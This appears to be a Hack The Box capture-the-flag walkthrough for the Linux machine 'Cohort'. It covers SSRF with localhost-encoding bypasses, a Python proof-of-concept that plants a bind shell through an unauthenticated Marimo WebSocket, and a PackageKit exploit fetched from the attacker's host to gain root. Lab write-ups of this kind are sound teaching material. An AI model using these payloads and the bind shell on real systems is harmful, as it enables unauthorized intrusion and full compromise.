Cohort HTB Walkthrough Premium

I just solved Cohort from Hack the Box!

Cohort Machine Summary

Cohort is an easy-difficulty Linux machine on Hack The Box that focuses on web application enumeration, Server-Side Request Forgery (SSRF), and vulnerability research. The machine begins with standard reconnaissance, where Nmap enumeration reveals the available services, followed by hosts file configuration to resolve the target domain correctly. Initial web enumeration of the landing page provides little value, prompting directory enumeration, which uncovers a hidden portal exposing a URL validation feature.

Further investigation of the portal leads to SSRF internal port enumeration, where the vulnerable endpoint is abused to discover services listening on localhost. JavaScript analysis helps identify how the frontend communicates with the backend, while SSRF endpoint enumeration exposes internal infrastructure details, including backend services and an internal notebook hostname. After performing internal host resolution, additional API enumeration confirms the presence of internal services, and Marimo version enumeration identifies the notebook application as Marimo 0.20.4. Accessing the Marimo login page through SSRF confirms that the service is protected by authentication but exposes an unauthenticated WebSocket endpoint vulnerable to CVE-2026-39987.

The exploitation phase begins with exploit preparation, where a proof-of-concept targeting the vulnerable Marimo WebSocket is created. During initial exploitation, the exploit successfully achieves unauthenticated remote code execution, leading to gaining initial access through a bind shell. After shell stabilization, a fully interactive Bash session is established, allowing further system enumeration and the successful capture of the user flag.

For privilege escalation, privilege escalation enumeration reveals that the target is running PackageKit 1.2.8, a version affected by CVE-2026-41651, a local privilege escalation vulnerability. Following privilege escalation preparation, a public proof-of-concept is hosted locally and transferred to the target, where it is prepared for execution. Finally, the exploit successfully elevates privileges to root, enabling the capture of the root flag and completing the compromise of the machine.

Protected Page

The first step in owning the Cohort machine like I have always done in my previous writeups is to connect my Kali Linux terminal with Hack the Box server. To establish this connection, I ran the following command in the terminal:

sudo openvpn cohort.ovpn

Once the connection between my Kali Linux terminal and Hack the Box server has been established, I started the Cohort machine and I was assigned an IP address (10.129.220.106).

Nmap Enumeration

I started by running an Nmap scan against the target to identify open ports, running services, and gather as much information as possible for initial enumeration. This gave me a clear picture of the attack surface before interacting with the target.

nmap -sCV -A 10.129.220.106

The scan revealed three open ports: 22 (SSH), 80 (HTTP), and 443 (HTTPS). Both web services redirected to https://cohort.htb, indicating that I needed to add the domain to my hosts file before continuing. The SSL certificate also confirmed the presence of the cohort.htb domain and a wildcard subdomain (*.cohort.htb), suggesting that virtual hosts or subdomains might be involved later. With the initial enumeration complete, I shifted my focus to the web application for further reconnaissance.

Hosts File Configuration

After identifying the target domain during enumeration, I added cohort.htb to my local hosts file so my machine could resolve the domain correctly. This allowed me to access the web application using its intended hostname instead of the IP address.

echo "10.129.220.106 cohort.htb" | sudo tee -a /etc/hosts

I authenticated with sudo to modify the system hosts file, and the command confirmed that the new entry was added successfully. With name resolution in place, I was ready to browse the application and continue web enumeration using https://cohort.htb.

Web Enumeration

After adding the target domain to my hosts file, I browsed to the web application and confirmed that the IP address redirected to https://cohort.htb. I manually explored the site to look for exposed functionality, sensitive information, or hidden endpoints.

https://cohort.htb

The website appeared to be a simple static landing page describing Cohort Analytics, with no obvious login portal, user input, or interesting functionality to exploit. Since manual inspection didn't reveal anything useful, I decided to move on to directory enumeration to search for hidden files and directories that weren't linked from the homepage.

Directory Enumeration

Since manual browsing didn't reveal anything interesting, I ran Feroxbuster to enumerate hidden directories, files, and common backup extensions across the web application. I configured it to follow redirects, recurse through directories, and collect additional words and links during the scan.

feroxbuster -u http://cohort.htb \ -w /home/boltech/Desktop/CohortHTB/raft-large-directories.txt \ -x php,txt,bak,sql,js,html,zip,tar.gz,old,save \ -r --depth 3 --collect-words --extract-links --auto-tune \ -t 50 -s 200,204,301,302,307,401,403,500 --insecure

The scan identified several accessible resources, including portal.html, assets/app.js, and assets/styles.css, while sensitive paths such as /status and /assets/ returned 403 Forbidden responses. These findings suggested that additional functionality existed beyond the homepage, making portal.html the most promising endpoint to investigate next.

Portal Enumeration

Based on the results from my directory enumeration, I visited the newly discovered portal.html page to inspect its functionality. Unlike the landing page, this endpoint exposed a feature that allowed users to submit a report source URL for validation.

https://cohort.htb/portal.html

The page accepted a user-supplied URL and stated that the application would fetch the resource to verify it before processing. This immediately caught my attention because server-side URL fetching can sometimes introduce vulnerabilities such as Server-Side Request Forgery (SSRF). With this in mind, I shifted my focus to testing how the URL validation feature handled external and internal requests.

SSRF Internal Port Enumeration

Since the portal fetched user-supplied URLs, I suspected an SSRF vulnerability and used it to enumerate services running on the target's localhost. I first generated a wordlist containing ports 1–65000, then fuzzed the port number through the vulnerable endpoint.

seq 1 65000 > number1-65k.txt ffuf -u 'https://cohort.htb/api/validate' \ -X POST -H 'Content-Type: application/json' \ -d '{"url":"http://0x7F.0x00.0x00.0x01:FUZZ/","format":"ndjson"}' \ -w /home/boltech/Desktop/CohortHTB/number1-65k.txt \ -mc all -fr 'Connection refused' -t 50

The scan identified several accessible internal services on ports 22, 80, 443, 5000, and 8888. The response from port 8888 stood out, and by requesting /api/version through the SSRF, I confirmed it was running Marimo version 0.20.4. This became the primary target for further investigation, as outdated internal services often expose exploitable vulnerabilities.

JavaScript Analysis

To better understand how the web application worked, I downloaded the client-side JavaScript file and inspected it for hidden API endpoints, requests, or interesting functionality. I also searched the source for common keywords related to authentication and backend communication.

wget --no-check-certificate https://cohort.htb/assets/app.js less app.js grep -Ei "api|fetch|axios|url|validate|user|login|portal" app.js

The download completed successfully despite the self-signed certificate warning, allowing me to inspect the application's JavaScript locally. I searched the file for references to API calls, URL validation, and other potentially interesting functionality to gain a better understanding of how the frontend interacted with the backend but couldn't find anything useful.

SSRF Endpoint Enumeration

To gather more information about the internal infrastructure, I used the SSRF vulnerability to request the application's hidden /status endpoint. I sent the request using an alternative representation of the localhost IP to bypass the application's localhost restrictions.

curl -sk https://cohort.htb/api/validate \ -H "Content-Type: application/json" \ -d '{"url":"http://2130706433/status","format":"json"}' | jq

The response exposed valuable backend details, including the internal Nginx configuration and upstream services. Most importantly, it revealed an internal notebook service hosted at 127.0.0.1:8888 with the hostname nb-1be3782a8afd3ad5.cohort.htb, confirming the presence of an internal Marimo workspace. This provided a clear target for the next phase of exploitation.

Internal Host Resolution

After discovering the internal notebook hostname through the SSRF response, I added it to my local hosts file so it would resolve correctly in my browser. This allowed me to interact with the internal virtual host using its intended hostname instead of the IP address.

echo "10.129.220.106 nb-1be3782a8afd3ad5.cohort.htb" | sudo tee -a /etc/hosts

I authenticated with sudo to update the hosts file, and the command confirmed that the new mapping was added successfully. With DNS resolution configured, I was ready to access nb-1be3782a8afd3ad5.cohort.htb and continue investigating the internal Marimo service.

API Enumeration

After identifying the internal service on port 5000, I used the SSRF vulnerability to probe one of its exposed API endpoints. I targeted the /api/health endpoint to verify whether the backend service was reachable and responding.

curl -sk https://cohort.htb/api/validate \ -H "Content-Type: application/json" \ -d '{"url":"http://127.1:5000/api/health","format":"json"}' | jq

The request returned a successful HTTP 200 response with the JSON payload {"ok": true, "service": "cohort-insights"}, confirming that the internal API was accessible through SSRF. This validated the presence of the Cohort Insights backend and encouraged me to continue enumerating additional internal API endpoints for functionality that might be exploitable.

Marimo Version Enumeration

After confirming that an internal service was running on port 8888, I queried its version endpoint through the SSRF vulnerability. This helped me identify the exact software version before searching for any known vulnerabilities.

curl -sk https://cohort.htb/api/validate \ -H "Content-Type: application/json" \ -d '{"url":"http://127.1:8888/api/version","format":"json"}' | jq

The request returned a 200 OK response with the version 0.20.4, confirming that the internal notebook service was running Marimo 0.20.4. Identifying the exact version was valuable because it allowed me to research publicly known vulnerabilities and determine whether this service could be exploited further.

Marimo Login Page Enumeration

To better understand the internal notebook service, I used the SSRF vulnerability to request its root page instead of a specific API endpoint. This allowed me to inspect the application's HTML response without directly accessing the internal service.

curl -sk https://cohort.htb/api/validate \ -H "Content-Type: application/json" \ -d '{"url":"http://127.1:8888/","format":"text"}' | jq

The response returned the HTML for a Marimo login page, which contained a form prompting for an Access Token / Password and submitting credentials to /auth/login. This confirmed that the internal notebook service was protected by authentication, giving me a better understanding of the application's structure and helping me focus on ways to bypass or abuse the authentication mechanism.

Exploit Preparation

After confirming the internal notebook was running Marimo 0.20.4, I researched the version and found it was vulnerable to CVE-2026-39987, a pre-authentication Terminal WebSocket RCE. To verify whether the target was affected, I created a small Python proof-of-concept that connected to the exposed WebSocket endpoint and attempted to execute commands without authentication.

cat << 'EOF' > poc.py #!/usr/bin/env python3 import websocket import ssl import time url = "wss://nb-1be3782a8afd3ad5.cohort.htb/terminal/ws" sslopt = {"cert_reqs": ssl.CERT_NONE, "check_hostname": False} ws = websocket.WebSocket(sslopt=sslopt) ws.connect(url) print("[+] Connected!") payload = ( "nohup python3 -c " "\"import socket,subprocess,os;" "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);" "s.bind(('0.0.0.0',4444));s.listen(1);conn,addr=s.accept();" "os.dup2(conn.fileno(),0);os.dup2(conn.fileno(),1);os.dup2(conn.fileno(),2);" "subprocess.call(['/bin/sh','-i'])\" " "> /dev/null 2>&1 &" ) ws.send(payload + "\n") print("[+] Bind shell payload sent. Waiting 3 seconds...") time.sleep(3) ws.close() print("[+] Done. Now connect to the target's port 4444.") EOF

The script established a WebSocket connection to the Marimo terminal endpoint and sent a payload to test for unauthenticated command execution. If successful, this would confirm that the vulnerability was present and provide the initial foothold needed to continue the exploitation phase.

Initial Exploitation

With the proof-of-concept prepared, I executed it against the internal Marimo instance to determine whether the unauthenticated WebSocket vulnerability could be exploited. The script connected successfully and delivered the payload to the target.

python3 poc.py

The output confirmed that the WebSocket connection was established and the payload was sent without requiring authentication. After allowing a few seconds for execution, the script exited cleanly, indicating that the next step was to connect to the newly opened bind shell on port 4444 to verify successful code execution.

Gaining Initial Access

After sending the payload, I attempted to connect to the bind shell that the exploit was expected to create. This would confirm whether the remote code execution was successful and provide my initial foothold on the target.

nc 10.129.220.106 4444

The connection succeeded, and I was presented with a /bin/sh shell. Although the message "can't access tty; job control turned off" indicated a non-interactive shell, it confirmed that the exploit had successfully achieved remote code execution. With initial access established, I could begin enumerating the system for privilege escalation opportunities.

Shell Stabilization

After obtaining the initial shell, I upgraded it to a more usable Bash session. This provides a better interactive environment, making it easier to execute commands and continue post-exploitation tasks.

script /dev/null -qc /bin/bash Press Ctrl+Z

I used the script utility to spawn an interactive Bash shell, which successfully changed my prompt to marimo@cohort, confirming the current user. I then suspended the session with Ctrl+Z so I could perform the remaining steps required to fully stabilize the shell before resuming my interaction with the target.

Shell Stabilization

To fully stabilize my shell, I resumed the suspended session, configured the terminal, and verified the privileges of the compromised account. This provided a much smoother environment for post-exploitation and system enumeration.

stty raw -echo; fg export TERM=xterm id

After bringing the shell back to the foreground, I set the terminal type to xterm, restoring proper terminal functionality. Finally, I verified my current privileges with id, confirming that I had code execution as the marimo user (uid=1000). With a fully interactive shell established, I continued enumerating the host for privilege escalation opportunities.

Capturing the User Flag

With an interactive shell established, I began enumerating the compromised user's home directory for useful files. One of the first things I checked was whether the user flag was present.

ls cat user.txt

Listing the home directory revealed a user.txt file alongside the notebooks directory. I read the contents of user.txt and successfully retrieved the user flag, confirming that I had achieved an initial foothold on the target and could now shift my focus to privilege escalation.

Hurray!!! I got the user flag.

Privilege Escalation Enumeration

After obtaining the user flag, I continued enumerating the system for potential privilege escalation vectors. Since Linux privilege escalation often involves outdated or misconfigured packages, I checked whether PackageKit was installed.

dpkg -l | grep -i packagekit

The output confirmed that PackageKit 1.2.8 and its related components were present on the system. Notably, the installed version was older, making it a promising candidate to investigate for publicly known privilege escalation vulnerabilities. I continued researching this version to determine whether it could be leveraged to obtain root access.

Privilege Escalation Preparation

After confirming that PackageKit 1.2.8 was installed, I researched the version and found it was affected by CVE-2026-41651, a local privilege escalation vulnerability. I downloaded a public Python proof-of-concept and prepared to transfer it to the compromised host for testing.

https://github.com/mawussid/CVE-2026-41651-Python/blob/main/cve-2026-41651.py

python3 -m http.server 8000

I started a simple Python HTTP server on my attacking machine to make the exploit script available for download from the target. This provided an easy way to transfer the PoC onto the compromised system, where I could execute it to attempt privilege escalation to root.

Transferring the Exploit

With the HTTP server running on my attacking machine, I downloaded the privilege escalation proof-of-concept directly onto the compromised host. This allowed me to prepare the exploit for local execution without relying on additional transfer methods.

wget http://10.10.14.22:8000/cve-2026-41651.py

The download completed successfully, saving the cve-2026-41651.py script in my current working directory. With the exploit now available on the target, I was ready to execute it and attempt to escalate my privileges from the marimo user to root.

Preparing the Exploit

After transferring the exploit to the target, I organized my workspace by copying the script to /tmp, a writable directory commonly used for temporary files. I then switched into that directory to prepare the exploit for execution.

dir cp cve-2026-41651.py /tmp/ cd /tmp ls

The listing confirmed that cve-2026-41651.py had been copied successfully and was ready to run. I also noted several temporary system directories, including those associated with PackageKit and polkit, reinforcing that I was working in an environment where the identified privilege escalation vulnerability could potentially be exploited.

Privilege Escalation

With the exploit prepared, I executed it against the vulnerable PackageKit 1.2.8 installation and instructed it to run a command as root. This was the final step in attempting to escalate my privileges on the target.

chmod +x cve-2026-41651.py /tmp/cve-2026-41651.py --exec 'cat /root/root.txt'

The exploit successfully abused CVE-2026-41651, created a temporary SUID Bash binary, and executed my command with root privileges. As a result, I was able to read /root/root.txt and retrieve the root flag, confirming complete compromise of the target machine.

Hurray!!! I got the root flag and with that the machine was officially pwned.

If you enjoy reading my walkthrough, do not forget to like, comment, and subscribe to my YouTube channel and also connect with me on LinkedIn. Also, don't forget to turn on post notification on my YouTube channel and Medium to get notification as soon as I write.

Subscribe to my YouTube channel and Follow me on: LinkedIn | Medium | Twitter | Boltech Twitter | Buy Me a Coffee

Keywords:

cohort.htb

Writeup Cohort - HTB Machine Complete Season 11 HackTheBox Walkthrough

Cohort htb writeup

Cohort HTB Walkthrough

Cohort - HackTheBox

HackTheBox - Cohort Season 11 Walkthrough

cohort machine hack the box writeup season 11

I just solved Cohort from Hack the Box

Cohort Hack the Box Walkthrough

Cohort Hack the Box Writeup

Cohort Walkthrough Begineer's Writeup from Hack The Box

Owned Cohort from Hack the Box

nb-1be3782a8afd3ad5.cohort.htb

Hack The Box Writeups - The Ultimate HTB Resource

Cohort HTB - Complete Writeup

HTB Writeup - Cohort

Hack The Box (HTB) Walkthroughs

Cohort - HTB Writeup

HTB Certified Web Exploitation Specialist (HTB CWES)

Cohort has been pwned

HTB-Cohort WriteUp

Pwned Cohort Box! hackthebox

cohort htb season 11 root flag hint

Rooted Cohort from Hack the Box - Season 11 Linux Machine

DarkZeroReturns htb walkthrough

DarkZeroReturns htb writeup

marimo@cohort